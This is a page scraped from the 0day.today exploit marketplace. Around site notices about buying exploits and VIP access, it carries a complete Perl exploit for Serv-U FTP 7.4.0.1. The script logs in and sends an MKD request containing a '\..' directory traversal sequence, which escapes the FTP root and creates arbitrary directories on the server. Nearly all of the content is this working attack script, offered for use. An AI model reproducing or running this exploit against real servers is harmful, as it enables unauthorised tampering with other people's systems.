0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Serv-U 7.4.0.1 (MKD) Create Arbitrary Directories Exploit
========================================================= Serv-U 7.4.0.1 (MKD) Create Arbitrary Directories Exploit ========================================================= #!/usr/bin/perl # Soft : FTP Serv-U # Version : v7.4.0.1 # # A vulnerability is caused due to an input validation error when handling FTP "MKD" # requests. This can be exploited to escape the FTP root and create arbitrary directory on # the system via directory traversal attacks using the "\.." character sequence. # # # Author: Jonathan Salwan use IO::Socket; print "[+] Author : Jonathan Salwan \n"; print "[+] Soft: FTP Serv-U\n"; if (@ARGV < 4) { print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n"; print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n"; exit; } $ip = $ARGV[0]; $port = $ARGV[1]; $user = $ARGV[2]; $pass = $ARGV[3]; $dir = $ARGV[4]; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n"; print "\n[+] Connecting: Ok!\n"; print "[+] Sending request...\n"; print $socket "USER $user\r\n"; print $socket "PASS $pass\r\n"; print $socket "MKD $dir\r\n"; sleep(3); close($socket); print "[+]Done! directory $dir has been created\n"; # 0day.today [2024-07-02] #